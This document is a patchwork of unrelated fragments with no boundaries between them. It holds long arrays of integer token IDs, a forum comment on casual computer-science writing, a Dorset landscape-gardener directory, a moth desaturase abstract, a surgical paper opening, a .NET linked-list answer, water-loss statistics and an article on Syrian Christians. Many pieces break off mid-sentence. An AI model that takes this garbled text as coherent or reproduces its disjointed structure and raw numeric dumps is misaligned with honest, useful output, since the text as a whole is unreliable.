253, 2579, 359, 2085, 15, 187, 187, 18703, 5140, 418, 10989, 2714, 3013, 275, 512, 3510, 273, 187, 11682, 13, 1690, 747, 21168, 13, 18149, 13, 30074, 569, 13, 187, 12292, 589, 29318, 35831, 285, 1728, 11701, 15, 844, 403, 187, 3169, 275, 50167, 292, 285, 403, 671, 2130, 281, 30618, 6493, 187, 249, 33423, 21813, 15, 187, 6067, 7407, 1051, 187, 187, 23080, 383, 36468, 8873, 708, 8174, 16029, 8680, 2278, 27, 187, 187, 24243, 2, 1737, 247, 2579, 13054, 285, 521, 2285, 2085, 15, 4325, 2216, 281, 990, 1885, 891, 717, 594, 5211, 15, 2752, 8576, 369, 1355, 13, 1711, 285, 2717, 310, 1268, 275, 436, 2419, 13, 533, 253, 3290, 273, 789, 310, 8644, 15, 1737, 247, 25426, 9261, 15, 14815, 5583, 436, 1051, 187, 187, 22930, 2205, 434, 17241, 2189, 9491, 187, 1231, 403, 1754, 275, 50167, 292, 285, 403, 22500, 670, 253, 32321, 187, 395, 3345, 3811, 8470, 2820, 281, 1056, 2119, 368, 4264, 352, 187, 284, 1199, 347, 359, 513, 187, 1231, 3959, 247, 4618, 2491, 273, 3238, 323, 634, 10329, 3198, 15, 187, 187, 18139, 33574, 275, 512, 7794, 273, 10329, 28108, 15609, 1690, 13, 187, 4066, 3783, 13, 4446, 1576, 13, 44409, 13, 26111, 13, 29809, 9968, 13, 10583, 187, 6672, 13, 5202, 1557, 15, 309, 1379, 327, 667, 789, 281, 513, 342, 23308, 13, 6389, 187, 1373, 390, 6264, 2659, 15, 187, 39, 26095, 12165, 5202, 20997, 13, 4122, 7407, 275, 2836, 1063, 187, 395, 39463, 1051, 26102, 7629, 8925, 14166, 18334, 273, 247, 13803, 883, 711, 4953, 511, 3939, 275, 42057, 2825, 39720, 409, 531, 26132, 15, 187, 34, 13803, 883, 711, 4953, 511, 432, 253, 46524, 3961, 264, 10617, 20173, 42057, 775, 263, 382, 531, 5650, 687, 84, 584, 3230, 3936, 253, 23543, 619, 2198, 280, 3527, 285, 11330, 247, 7802, 273, 313, 38, 4587, 883, 14, 85, 11656, 796, 68, 15854, 366, 285, 313, 59, 4587, 883, 14, 85, 11656, 796, 68, 15854, 366, 342, 271, 6714, 273, 253, 1503, 310, 8056, 313, 1671, 27, 2082, 481, 329, 711, 4953, 511, 432, 253, 20673, 3289, 36141, 42057, 775, 263, 382, 531, 5650, 29736, 4123, 671, 17209, 327, 619, 2198, 280, 3527, 6605, 533, 11330, 2761, 6313, 313, 38, 4587, 883, 14, 85, 11656, 796, 68, 15854, 366, 15, 380, 767, 711, 4953, 1169, 3894, 11266, 6, 8898, 3527, 6489, 285, 10694, 6, 8898, 3527, 14259, 15, 1707, 403, 2164, 8898, 9532, 26704, 875, 841, 767, 711, 4953, 1169, 15, 844, 8818, 9197, 387, 512, 273, 841, 6887, 281, 45661, 253, 4375, 326, 3653, 253, 1885, 14166, 18334, 15, 844, 5183, 342, 247, 15727, 5164, 6981, 326, 581, 8898, 3527, 387, 253, 39734, 22236, 1190, 43259, 273, 253, 2601, 313, 22029, 38, 10, 310, 4619, 323, 253, 1503, 2425, 273, 253, 330, 15, 687, 84, 584, 3230, 711, 4953, 511, 15, 15601, 839, 253, 13627, 12614, 3527, 313, 38, 10, 715, 44928, 280, 3527, 313, 37, 10, 29698, 253, 330, 15, 687, 84, 584, 3230, 9548, 715, 247, 711, 4953, 511, 342, 330, 15, 29736, 4123, 14, 3022, 2425, 13, 5727, 253, 33561, 10577, 273, 253, 330, 15, 29736, 4123, 711, 4953, 511, 13657, 352, 715, 271, 9548, 9603, 271, 10444, 6705, 27, 1812, 444, 16, 59, 1885, 4313, 15, 844, 2319, 253, 19349, 3048, 875, 436, 8898, 3527, 1818, 285, 253, 14166, 10888, 3607, 273, 253, 711, 4953, 511, 285, 253, 2554, 273, 711, 4953, 511, 9197, 275, 39720, 409, 531, 5606, 15, 1042, 32585, 187, 7770, 187, 187, 4553, 697, 10199, 275, 10226, 407, 6304, 1942, 250, 285, 353, 4126, 1914, 30996, 35, 18, 3725, 35299, 48507, 28857, 556, 644, 7561, 2684, 323, 9205, 8570, 273, 253, 26528, 13, 3340, 275, 15920, 9522, 1363, 15, 775, 1306, 77, 334, 38875, 310, 2223, 2330, 342, 6821, 23876, 15920, 9522, 9360, 10568, 48507, 28857, 13, 285, 3103, 29747, 35299, 448, 1306, 49663, 28857, 285, 48507, 28857, 403, 4536, 4860, 15, 187, 187, 3378, 253, 5899, 1527, 2746, 13, 48507, 28857, 285, 448, 1306, 49663, 28857, 778, 320, 2684, 1309, 253, 1072, 4254, 13, 533, 247, 1781, 17322, 33708, 778, 320, 3309, 15, 187, 187, 3378, 11138, 2793, 275, 35299, 5869, 13, 29747, 448, 1306, 49663, 28857, 285, 48507, 28857, 452, 644, 4081, 407, 253, 12949, 14 ]

. EDIT: In your edit, you specify that you're in computer science. In my experience, computer science writing is far more conversational, and computer science culture is far more casual, than most other fields. I doubt anyone would bat an eye at either of the first two phrases. In fact, the paper I currently have open on the Arthur-Merlin Protocols says: In Section 3 we will also use the representation of Boolean functions by polynomials with real polynomials (p. 5) We will show that this protocol needs communication at least Ω(√na), which implies the theorem. (p6) and has similar constructions in at least four other places. IIRC, Babai's original paper introducing the A-M protocols had the first four pages entirely in the form of a faux mythological story about King Arthur. Find local Landscape Gardeners in Dorset MyBuilder has thousands of local and reliable Landscape Gardeners in Dorset. We screen our trade members and every job is up for review. Post your job now to get quick responses from local Landscape Gardeners in Dorset. A service offered which is a considered, empathetic approach to Landscape and garden renovation and design since its inception in 2004 to customers and their needs. To listen, advise and inspire to suit all budgets undertaking small and large hard, soft landscaping projects... Latest Landscape Gardening feedback review: Andrew arrived promptly to prepare an estimate and was happy to advise on the proposed redesign. He kept in touch to let me know when he would be available to start the work. He was a reliable and punctual worker who was very trustworthy... We are an established multi service company known for being honest and reliable. We believe that every job should be 'the best' and our workmanship is second to none. We believe customer satisfaction is the most important aspect of our work and always strive to provide the... Latest Landscape Gardening feedback review: My job took six weeks plus to finish, but during that time Mr. Shaw was very pleasant and worked very hard. General builders Friendly helping guys. Grand advice Willing to go the extra mile No job to small or big Very honest Competitive pricing Latest Landscape Gardening feedback review: Louis and his team laid for me the worst concrete base I have ever seen. It is neither level nor smooth. No attempt was made to smooth the top with a float and as such water pools in it. It's only just suitable for my shed to sit on but is... JMA groundwork’s offer all types of services including groundwork’s and general maintenance. We are reliable and friendly serine who take great pride in all their work. Latest Landscape Gardening feedback review: We were really pleased with James' work. He is reliable, a good communicator, and turned up when he said he would. I would recommend his work to anyone with similar requirements and he was very good value. Would happily employ him again on... I have been building in and around dorset for over 26 years. I run a small building business called SiBridge and my prices reflect this as I do not have the overheads that larger firm have. No job is too big or too small and all will be completed to the highest standard. Latest Landscape Gardening client reference: Simon did brickwork, block paving, slab laying and decking for us. His workmanship was first class and all aspects were very professional. He came up with some very good ideas and his communication skills were excellent. He was very... Path Life fencing and landscaping is a local business located in Corfe Mullen near Wimborne. We offer a comprehensive landscaping service for private homes and business. We are a highly professional, friendly company who take great pride in all jobs we undertake. So... Latest Landscape Gardening feedback review: Excellent job,did what we agreed he would do at the time we agreed and the price we agreed.What more can you ask for? I have no hesitation in recommending Paul. I have been doing building work for over 8 years in which I have done jobs from plastering, hard landscaping, fencing, finisher of jobs and the running of building sites. I have a eye for detail and want my business to be successful and have on going customers with great... Latest Landscape Gardening feedback review: In August 2016 Robert undertook a landscaping job in our back garden, clearing away lawn and earth and building a decorative,patterned patio. He also repaired and renewed parts of the surrounding one. We are very pleased with the results.... I am a sole trader doing landscaping and building work.Have 30 plus years experience in this fields and am a fully qualified bricklayer.Have done many projects over the years including all general paving,sandstone,porcelain and block paving.Stone walling,brickwork... Latest Landscape Gardening feedback review: An excellent job, really well done and at a very good price. Tony arrived for the initial discussion (and every other day) exactly when he said he would. Listened to what I wanted, asked good questions and sent a good estimate of the time... LH SILK & SON we are a small family company, who specialise in landscape gardening, fencing, drainage and ground works We take pride in all our work and treat your garden as if it was our own, our attention to detail is like no other. so we can create you a garden that... Latest Landscape Gardening feedback review: Luke was excellent, very friendly and professional. He turned up on time and completed the work to a very high standard, we could not have asked for a better service. I hope to work with him again in the future. Smiths Groundworks & Construction Ltd provide a reliable, friendly and professional service. We undertake all aspects of building work. Smiths has over 15 years of experience and covers a wide range of services. We pride ourselves in the service we provide. Lock construction LTD specialises in all types of construction, including new builds, extensions, renovations, timber framed constructions and home improvements. We are based in Dorset and are also available to undertake projects in neighbouring counties. Our experienced... Latest Carpentry & Joinery feedback review: Wow! What a service Lewis and his team provide. From design to end product i am so happy. My kitchen was small, old and nothing is level in this house, but the quality of work is amazing. What a Complete transformation. Would recommend this... Henley's Countryside Services We are based in Dorset and are passionate about the outdoors and outside living spaces trying to make sure you enjoy it as much as we do We offer a wide range of services for your garden needs. Experienced in all aspects of garden landscaping including, patios, driveways, turf, drainage, hedge cutting, grass care, tree care. I take on any work to do with gardens, farm land or commercial land. Fully qualified tree surgeon, highly experienced in digger and tractor...Sequence variation determining stereochemistry of a Δ11 desaturase active in moth sex pheromone biosynthesis. A Δ11 desaturase from the oblique banded leaf roller moth Choristoneura rosaceana takes the saturated myristic acid and produces a mixture of (E)-11-tetradecenoate and (Z)-11-tetradecenoate with an excess of the Z isomer (35:65). A desaturase from the spotted fireworm moth Choristoneura parallela also operates on myristic acid substrate but produces almost pure (E)-11-tetradecenoate. The two desaturases share 92% amino acid identity and 97% amino acid similarity. There are 24 amino acids differing between these two desaturases. We constructed mutations at all of these positions to pinpoint the sites that determine the product stereochemistry. We demonstrated with a yeast functional assay that one amino acid at the cytosolic carboxyl terminus of the protein (258E) is critical for the Z activity of the C. rosaceana desaturase. Mutating the glutamic acid (E) into aspartic acid (D) transforms the C. rosaceana enzyme into a desaturase with C. parallela-like activity, whereas the reciprocal mutation of the C. parallela desaturase transformed it into an enzyme producing an intermediate 64:36 E/Z product ratio. We discuss the causal link between this amino acid change and the stereochemical properties of the desaturase and the role of desaturase mutations in pheromone evolution.INTRODUCTION ============ After its introduction in 1991 by Delaitre and Maignien,^[@B1]^ laparoscopic splenectomy has been widely performed for surgical removal of the spleen, especially in hematologic patients. Cholelithiasis is often associated with splenic hematologic disorders requiring splenectomy, and therefore concomitant laparoscopic cholecystectomy and splenectomy are sometimes indicated. With the traditional open approach, splenectomy and cholecystectomy may be performed during the same operation, but a large abdominal incision may be necessary. With improving experience in laparoscopic surgery, concomitant cholecystectomy and splenectomy have been proposed by the mini-

[ 36042, 964, 11502, 495, 15, 22, 481, 380, 32489, 310, 326, 352, 10513, 247, 747, 4227, 273, 29743, 2765, 13, 534, 778, 417, 320, 752, 368, 971, 1051, 1422, 812, 513, 1633, 751, 326, 3185, 1163, 187, 26966, 9, 2044, 5382, 275, 298, 3550, 19, 10, 187, 92, 187, 50274, 620, 382, 18, 15, 4717, 8693, 9, 4835, 558, 187, 94, 187, 187, 34, 27, 187, 187, 4943, 368, 476, 1089, 619, 7939, 1618, 7092, 342, 473, 9, 18, 10, 7036, 255, 285, 8085, 2069, 15, 187, 4967, 964, 11502, 29743, 2765, 1057, 417, 1329, 1716, 8076, 285, 43531, 5871, 32, 187, 17624, 6010, 187, 3837, 3179, 1131, 4632, 964, 11502, 29743, 2765, 27, 187, 187, 28274, 3541, 8353, 13, 3021, 1046, 4666, 19743, 49967, 2765, 6910, 556, 187, 13524, 29476, 313, 22340, 13, 1735, 13, 1318, 10, 3185, 273, 1740, 313, 22340, 13, 1735, 13, 1618, 13, 187, 2877, 10, 12401, 3236, 964, 11502, 7092, 15, 209, 187, 4727, 8707, 1716, 8076, 285, 43531, 187, 42316, 275, 473, 9, 18, 10, 209, 187, 4727, 8707, 309, 3546, 22711, 494, 38898, 1082, 30482, 1080, 275, 187, 48, 9, 18, 10, 1108, 407, 253, 1039, 309, 513, 417, 923, 667, 1921, 2139, 352, 457, 84, 417, 2530, 187, 79, 3146, 327, 253, 964, 11502, 29743, 2765, 15, 2051, 12341, 366, 6880, 1332, 187, 36042, 473, 9, 79, 481, 187, 187, 6744, 11402, 1131, 27, 187, 187, 10795, 417, 1329, 8240, 15, 187, 1773, 8076, 4254, 6505, 1273, 1618, 275, 271, 16706, 1375, 15, 187, 33720, 4254, 6505, 3236, 1618, 275, 271, 16706, 1375, 15, 187, 1394, 403, 2104, 281, 3894, 7632, 875, 10894, 15, 187, 187, 8665, 27, 187, 187, 42, 452, 6777, 271, 5795, 5700, 323, 16994, 46223, 285, 1089, 5871, 13, 2581, 685, 625, 48656, 285, 15846, 34025, 3236, 7092, 15, 309, 3524, 253, 4016, 3045, 3486, 4558, 34584, 15, 535, 1276, 369, 253, 43533, 434, 954, 3332, 2361, 2264, 2558, 1824, 2957, 347, 4767, 275, 697, 10205, 12469, 262, 10840, 32, 12266, 31396, 11767, 10205, 28622, 187, 187, 21093, 273, 411, 469, 5741, 24618, 187, 187, 7798, 187, 187, 22, 187, 187, 7132, 187, 187, 22, 187, 187, 6961, 187, 187, 17, 187, 187, 6620, 187, 187, 17, 187, 187, 510, 7155, 273, 1824, 3663, 432, 253, 3268, 985, 3400, 253, 11839, 342, 247, 8245, 432, 534, 281, 5724, 285, 3157, 1824, 2957, 1453, 15, 329, 2169, 2558, 1824, 2957, 2097, 326, 247, 11839, 310, 10305, 1824, 326, 812, 320, 908, 390, 14900, 281, 5778, 2442, 8214, 1824, 11319, 6493, 275, 253, 2852, 30187, 5182, 1108, 15600, 27, 6166, 15983, 463, 187, 187, 688, 253, 37952, 2961, 2586, 13, 1142, 7231, 10003, 285, 9195, 13, 1097, 8797, 285, 6416, 13, 452, 644, 4352, 13, 13572, 390, 11069, 15, 380, 25172, 1593, 3284, 273, 253, 7344, 556, 644, 762, 12490, 407, 42608, 13, 3340, 1110, 13, 327, 1097, 7123, 13, 44601, 253, 7268, 273, 5639, 5621, 327, 253, 34268, 15, 187, 187, 510, 7751, 14, 32797, 1608, 571, 39260, 285, 3128, 13, 754, 49038, 13, 3534, 697, 1329, 281, 253, 14211, 1346, 13, 1223, 253, 28550, 497, 3517, 7416, 407, 45409, 9329, 2390, 13, 3692, 3879, 13, 2299, 13, 556, 9592, 4391, 342, 673, 27, 690, 2390, 13, 824, 347, 253, 2805, 66, 264, 382, 38127, 25484, 13, 502, 6948, 342, 253, 28550, 3746, 15, 187, 688, 436, 3634, 13, 17959, 15600, 313, 10002, 1056, 598, 875, 608, 6, 285, 884, 6, 273, 253, 3072, 10, 452, 6096, 253, 13742, 273, 253, 2862, 3072, 13, 1146, 762, 2983, 13, 347, 247, 3689, 24649, 5901, 5625, 1304, 4159, 13, 32249, 46366, 4208, 4973, 13, 773, 1615, 1097, 12360, 14269, 6358, 285, 253, 2208, 668, 1014, 672, 8785, 773, 2369, 11942, 6598, 773, 3726, 403, 417, 387, 2137, 13, 533, 597, 11089, 432, 352, 7521, 2296, 1879, 15, 5769, 343, 35667, 300, 5769, 343, 671, 13, 271, 22437, 6445, 2338, 285, 247, 11652, 387, 1097, 659, 15, 10092, 2499, 275, 2325, 343, 307, 285, 253, 29880, 338, 474, 45817, 6516, 15, 773, 3726, 1333, 27, 2802, 664, 403, 247, 629, 273, 253, 17959, 952, 13, 3253, 9369, 281, 619, 6346, 13, 1880, 344, 310, 45409, 390, 1608, 571, 13, 390, 2712, 2010, 13, 671, 11852, 479, 16236, 285, 326, 457, 84, 2139, 597, 403, 10522, 407, 5320, 1346, 273, 1097, 7123, 7521, 1879, 15, 5769, 343, 11323, 15, 187, 187, 510, 7057, 457, 267, 3941, 66, 295, 4539, 187, 187, 10195, 13305, 1108, 3738, 417, 3477, 281, 17029, 1955, 281, 253, 3480, 273, 3907, 4973, 275, 253, 2137, 14, 85, 1575, 2586, 1108, 452, 35560, 5213, 22145, 15, 2596, 273, 253, 954, 3332, 310, 253, 31852, 13, 387, 253, 5068, 273, 4565, 13, 273, 13265, 30154, 295, 4539, 665, 2427, 5816, 432, 11877, 2745, 498, 66, 345, 2254, 13, 581, 273, 253, 1142, 18777, 285, 1114, 2237, 447, 275, 7057, 457, 267, 3941, 66, 13, 2456, 28666, 29979, 273, 47419, 15, 831, 1072, 7773, 369, 253, 6200, 273, 247, 6680, 875, 28550, 285, 2208, 5621, 534, 5876, 253, 1980, 6416, 3114, 275, 4397, 15, 4794, 281, 3420, 5012, 13, 253, 295, 4539, 497, 2668, 407, 3490, 432, 253, 345, 2254, 407, 10266, 20998, 13, 1223, 247, 17959, 10266, 22531, 753, 597, 497, 2668, 1977, 323, 616, 1211, 5252, 15, 187, 510, 7057, 457, 267, 3941, 66, 295, 4539, 403, 417, 253, 760, 15600, 2918, 3167, 1131, 275, 253, 2586, 27, 767, 24061, 13, 16833, 23961, 90, 267, 313, 266, 46657, 10503, 10, 285, 7057, 379, 12828, 71, 276, 91, 313, 66, 11308, 30154, 10, 497, 41802, 275, 5080, 4072, 28, 253, 9890, 6445, 2338, 3392, 3643, 13013, 399, 455, 457, 48, 3129, 900, 369, 41802, 1390, 4163, 275, 11605, 19084, 66, 13, 271, 25484, 14, 13028, 3874, 275, 253, 3729, 13, 672, 17324, 32542, 2057, 247, 1980, 22907, 11342, 390, 253, 35297, 273, 690, 3167, 1131, 15, 5220, 253, 49924, 273, 767, 30154, 39180, 13, 378, 32498, 714, 1370, 33014, 285, 714, 1368, 9045, 309, 44147, 13, 403, 4390, 7202, 15, 7379, 9526, 14, 13425, 16456, 19954, 14, 78, 3508, 26212, 824, 6993, 275, 247, 3908, 275, 4247, 13, 3981, 326, 773, 783, 1986, 14726, 41471, 667, 12262, 273, 7732, 1754, 327, 616, 9596, 13, 3114, 390, 16175, 37846, 6598, 773, 43619, 2458, 4768, 12728, 403, 387, 2495, 285, 1364, 320, 6885, 7521, 253, 1681, 3008, 860, 1239, 327, 15, 187, 5039, 5123, 4824, 562, 407, 14269, 6358, 1108, 3340, 46733, 4394, 1108, 452, 1160, 1199, 273, 253, 3668, 672, 352, 2210, 281, 15600, 15, 9859, 3978, 247, 10503, 14959, 13, 1879, 15, 44987, 8524, 324, 13, 369, 5339, 407, 2802, 266, 3270, 14, 20129, 1387, 457, 275, 4031, 4658, 13, 253, 1304, 273, 247, 7379, 14, 32797, 3907, 8119, 273, 14392, 327, 12728, 4767, 15, 496, 15918, 285, 18430, 17571, 407, 9329, 20998, 13, 690, 6416, 7231, 9195, 497, 711, 886, 14092, 13, 347, 4592, 275, 11605, 19084, 66, 13, 835, 1390, 4397, 25484, 20998, 9902, 264, 1097, 253, 11308, 30154, 6105, 273, 253, 7359, 38108, 285, 271, 46657, 6105, 13, 15706, 253, 2831, 342, 271, 355, 14, 46918, 7908, 15, 380, 37291, 1346, 671, 11295, 7654, 4803, 1108, 275, 8956, 342, 616, 2715, 273, 439, 8125, 1108, 327, 253, 2862, 3072, 15, 187, 187, 688, 253, 6290, 466, 2400, 2846, 187, 187, 2374, 253, 643, 1133, 13, 253, 2168, 5393, 7379, 14, 32797, 8119, 10145, 253, 2208, 273, 773, 3321, 272, 4668, 16566, 3304, 15918, 285, 18430, 668, 3692, 3072, 310, 773, 7265, 314, 1608, 571, 13, 1219, 1403, 614, 6416, 7521, 285, 436, 3879, 773, 1987, 3567, 281, 11002, 25102, 6656, 29005, 6598, 5220, 275, 388, 3056, 13, 2190, 1110, 18195, 275, 253, 2846, 4055, 13750, 407, 2208, 10824, 13, 627, 403, 15600, 13, 3977, 407, 247, 6445, 2338, 14959, 13, 1879, 15, 1879, 507, 10049, 1784, 48910, 85, 13, 665, 4102, 5439, 253, 13965, 27, 952, 275, 253, 6290, 466, 2400, 2846, 403, 773, 69, 3184, 273, 23635, 6598, 496, 9696, 14138, 9534, 13, 2299, 13, 15600, 7303, 281, 1361, 1110, 665, 497, 275, 878, 390, 2495, 264, 616, 4852, 13, 347, 275, 6912, 1473, 13, 835, 13, 2556, 281, 8801, 12484, 14179, 13, 1142, 4146, 24836, 387, 2495, 273, 1146, 1499, 4551, 2122, 407, 2208, 846, 2552, 374, 1119, 17824, 275, 6416, 25237, 13, 390, 275, 388, 3056, 13, 835, 247, 10503, 502, 6555, 13, 1879, 15, 18861, 515, 266, 32706, 276, 74, 13, 1335, 6613, 247, 4055, 534, 4245, 8596, 281, 2067, 4289, 2151, 285, 13603, 952, 15, 187, 22705, 14621, 8385, 310, 417, 253, 760, 1921, 2139, 17959, 15600, 403, 18153, 281, 616, 1728, 2586, 15, 2064, 310, 2139, 253, 958, 326, 1142, 273, 731, 403, 6108, 253, 2586, 943, 320, 247, 1921, 273, 1270, 4468, 13, 5747, 253, 1180, 273, 1110, 37637, 313, 255, 1878, 2067, 7114, 273, 6763, 10, 310, 816, 247, 6919, 273, 253, 2264, 1180, 273, 253, 5619, 26886, 6726, 281, 8773, 15, 2058, 247, 673, 672, 1142, 762, 1282, 253, 2495, 326, 773, 783, 3569, 39710, 1456, 273, 38220, 310, 7932, 407, 247, 9329, 13281, 9459, 7521, 2296, 1879, 15, 35667, 300, 5769, 343, 35667, 300, 13, 773, 783, 8630, 273, 15600, 310, 8312, 323, 253, 2644, 2586, 13, 323, 352, 2789, 10046, 436, 1072, 773, 4614, 474, 1204, 13, 534, 310, 25824, 1014, 407, 253, 5020, 273, 16492, 6598, 1893, 436, 2802, 911, 38695, 16236, 344, 11323, 773, 9846, 452, 9099, 327, 253, 7231, 7185, 285, 253, 8928, 9991, 534, 310, 271, 15231, 323, 12728, 6598, 17959, 15600, 13, 253, 6445, 2338, 26902, 31947, 13, 3534, 247, 1270, 7680, 281, 253, 2644, 2170, 13, 275, 1142, 4910, 27, 597, 497, 23033, 275, 29660, 13, 1580, 253, 4260, 14, 746, 394, 5331, 13, 253, 594, 1925, 33157, 273, 253, 8365, 4466, 285, 3448, 285, 13, 625, 4102, 13, 247, 4473, 273, 24588, 417, 1754, 327, 7231, 37846, 15, 1583, 671, 3534, 4201, 773, 936, 253, 4473, 273, 271, 8365, 15963, 13, 273, 271, 8365, 3114, 432, 247, 8928, 13, 9493, 285, 3569, 1127, 273, 1859, 6598, 496, 2509, 326, 13, 1879, 15, 35667, 300, 5769, 343, 35667, 300, 11424, 13, 773, 9328, 25536, 15600, 285, 16492, 273, 253, 10515, 5791, 7521, 285, 616, 1655, 2554, 275, 12728, 13, 347, 7815, 13, 310, 417, 1027, 15, 773, 3726, 1611, 281, 1056, 1921, 30950, 13, 616, 3819, 310, 417, 323, 253, 4146, 24836, 13, 390, 253, 1608, 6358, 13, 533, 323, 1966, 3570, 13, 7185, 285, 14483, 13, 323, 247, 8928, 285, 2675, 1966, 1204, 6598, 313, 37, 15, 46, 2698, 50254, 50276, 36, 2185, 4708, 3481, 24730, 187, 50254, 50276, 2354, 5707, 37, 34928, 3481, 49248, 187, 50254, 50272, 6651, 53, 26393, 3886, 535, 50254, 50272, 7651, 15, 16261, 14, 1010, 14, 933, 1706, 14, 8887, 535, 187, 39324, 285, 611, 13890, 10388, 49332, 13, 24180, 85, 32028, 50268, 7803, 50275, 4509, 253, 36859, 394, 4412, 2111, 187, 1779, 580, 1473, 13, 367, 1136, 357, 257, 427, 3903, 66, 13, 38881, 187, 395, 22707, 611, 11753, 91, 13, 5171, 1780, 84, 1751, 1952, 13, 50264, 7803, 50275, 1171, 308, 35083, 3928, 313, 25289, 14, 1630, 520, 2417, 14, 1047, 10, 187, 3074, 1988, 5418, 6339, 13, 285, 5332, 329, 15, 187, 46, 6968, 77, 1257, 1321, 50254, 50270, 50276, 3015, 50275, 21859, 3285, 13, 4022, 535, 50254, 252, 50264, 50276, 7803, 50275, 48, 22104, 407, 8293, 3189, 1321, 187, 87, 15, 187, 50254, 252, 50264, 50276, 7803, 50275, 37, 739, 290, 407, 8293, 14893, 491, 394, 187, 187, 21093, 273, 25686, 3423, 50254, 50275, 7803, 50275, 9, 257, 30973, 10, 535, 50266, 43, 7273, 40, 10634, 8160, 16449, 378, 24831, 28239, 35427, 1838, 947, 6570, 535, 50272, 1552, 1302, 556, 2783, 253, 1924, 327, 4549, 275, 436, 1083, 285, 6556, 326, 187, 187, 9088, 369, 2228, 275, 253, 2332, 1302, 457, 84, 1340, 15, 733, 310, 6960, 326, 253, 1340, 273, 253, 2332, 187, 187, 13550, 310, 13891, 285, 253, 1083, 310, 27013, 281, 253, 2332, 1302, 323, 2007, 187, 187, 856, 22868, 5185, 342, 436, 4743, 15, 535, 50272, 1147, 310, 2007, 6960, 326, 22706, 3228, 273, 25686, 3423, 3091, 2075, 512, 4815, 273, 187, 187, 2520, 4549, 13, 323, 534, 1339, 10636, 2523, 15, 2756, 50254, 50266, 19115, 28104, 34928, 14732, 3481, 24730, 535, 50254, 50266, 2896, 1227, 84, 16, 7641, 3189, 1321, 187, 50254, 245, 50265 ]

requires.NET 3.5). The drawback is that it creates a new instance of LinkedList, which may not be what you want... You could do something like that instead : foreach(var item in llist2) { llist1.AddLast(item); } A: Here you can find my linked list implementation with O(1) concat and split times. Why.NET LinkedList does not support Concat and Split operations? Short summary Advantages vs.NET LinkedList: Less memory consumption, thus every node SimpleLinkedListNode has three pointers (prev, next, value) instead of four (prev, next, list, value) unlike original.NET implementation. Supports Concat and Split operations in O(1) Supports IEnumarable Reverse() enumerator in O(1) – by the way I do not see any reason why it’s not provided natively on the.NET LinkedList. Appropriate extension method requires O(n). Disadvantages: Does not support Count. Concat operation leaves second list in an inconsistent state. Split operation leaves original list in an inconsistent state. You are able to share nodes between lists. Other: I have chosen an alternative strategy for implementing enumeration and find operations, rather than more verbose and purely readable original implementation. I hope the negative performance impact remains insignificant. What was the Utility's most recent reported total percent water loss as stated in its Water Audit Report? Total Percent (%) Water Loss City of Wichita Falls 2018 5 2017 5 2016 0 2015 0 The percentage of water lost from the distribution system provides the utility with a baseline from which to monitor and improve water loss control. A higher percent water loss means that a utility is losing water that could be used or conserved to delay potential expensive water infrastructure projects in the futureSyria – Christians: Under Siege In the ravaged country, many religious institutions and buildings, both Muslim and Christian, have been hit, damaged or destroyed. The confessional element of the conflict has been underlined by commentators, especially those, on both sides, blaming the intervention of foreign forces on the battlefield. The Iran-backed Shia militia and party, Hezbollah, gave its support to the loyalists, while the rebels were soon joined by Sunni radical groups, whose behavior, however, has increasingly changed with time: some groups, such as the qaedist faction ISIS, clashed with the rebels themselves. In this context, Syrian Christians (who make up between 5% and 10% of the population) have shared the fate of the entire population, being under attack, as a Minority Group International report wrote, quoting eyewitness sources, “by both armed militias and the government” even when carrying “no guns”. “They are not at war, but they suffer from it”, says Fr. Samir Khalil Samir also, an Egyptian Jesuit and a professor at both St. Joseph University in Beirut and the Pontifical Oriental Institute. “They say: ‘we are a part of the Syrian people, everything happening to my neighbor, whether he is Sunni or Shia, or anything else, also affects me’, and that’s why they are targeted by extremists of both sides”, Fr. Samir adds. The Ma’aloula nuns Many episodes – although not easy to reconstruct due to the lack of independent sources in the war-torn country – have sparked international outrage. One of the most recent is the disappearance, at the beginning of December, of twelve Orthodox nuns who went missing from Saint Tecla convent, one of the many churches and monasteries in Ma’aloula, 50 kilometers northwest of Damascus. This same village was the scene of a battle between rebels and government forces which affected the local Christian community in September. According to media reports, the nuns were taken by force from the convent by opposition fighters, while a Syrian opposition activist said they were taken away for their own safety. The Ma’aloula nuns are not the only Christians held hostages in the country: two priests, Michel Kayyal (an Armenian Catholic) and Maher Mahfouz (a Greek Orthodox) were kidnapped in February 2013; the Italian Jesuit father Paolo Dall’Oglio was kidnapped last July in Raqqa, an ISIS-held town in the North, when reportedly negotiating either a local ceasefire or the liberation of some hostages. Also the whereabouts of two Orthodox bishops, Boulos Yazigi and Yohanna Ibrahim, are currently unknown. UN Secretary-General Ban Ki-moon condemned such acts in a statement in January, saying that “the United Nations rejects any targeting of persons based on their religion, community or ethnic affiliation”. “Civilians throughout Syria are at risk and must be protected”, the communiqué read on. Abuses carried out by militias – especially Islamist ones – have made much of the news when it came to Christians. Last June a Catholic priest, Fr. François Murad, was killed by ‘an anti-government group’ in Idlib, the report of a UN-backed independent commission of inquiry on Syria stated. In towns and villages seized by radical fighters, some Christian religious buildings were desecrated, as happened in Raqqa, where last September ISIS fighters stormed both the Greek Orthodox church of the Annunciation and an Armenian church, replacing the cross with an al-Qaeda flag. The jihadists also imposed strict rules – in accordance with their version of sharia – on the entire population. In the besieged city On the other hand, the already mentioned UN-backed commission accused the government of “positioning military objectives inside towns and villages” whose population is “mainly Shia, Alawite Christian”, and this behavior “contributed to rising sectarian tensions”. Also in Homs, among those trapped in the city center surrounded by government troops, there are Christians, led by a Jesuit priest, Fr. Frans Van der Lugt, who recently raised the alarm: people in the besieged city are “dying of hunger”. In equally dramatic situations, however, Christians managed to help those who were in need or risked their lives, as in Bayda, where, according to Human Rights Watch, many Sunnis at risk of being slaughtered by government after May 2 found shelter in Christian neighborhoods, or in Homs, where a Catholic cleric, Fr. Ghassan Sahoui, still runs a center which gives aid to several hundred children and disabled people. Humanitarian assistance is not the only reason why Syrian Christians are precious to their home country. That is why the fact that many of them are leaving the country should be a reason of great concern, despite the number of those fleeing (at least several tens of thousands) is just a fraction of the total number of the Syrians forced to escape. At a time when many underline the risk that “the political dictatorship of Assad is replaced by a radical Islamic regime”, says Fr. Khalil Samir Khalil, “the flight of Christians is dangerous for the whole country, for it makes stronger this same “radicalism, which is unwanted even by the majority of Muslims”. So this ‘exodus’, he adds “will have consequences on the religious freedom and the cultural diversity which is an asset for Syria”. Syrian Christians, the Jesuit scholar remembers, gave a great contribution to the whole area, in many fields: they were instrumental in originating, since the mid-19th century, the so called Renaissance of the Arab culture and language and, more recently, a concept of citizenship not based on religious affiliation. They also gave birth “to the concept of an Arab Nation, of an Arab community from a cultural, historical and political point of view”. In doing that, Fr. Khalil Samir Khalil explains, “they united 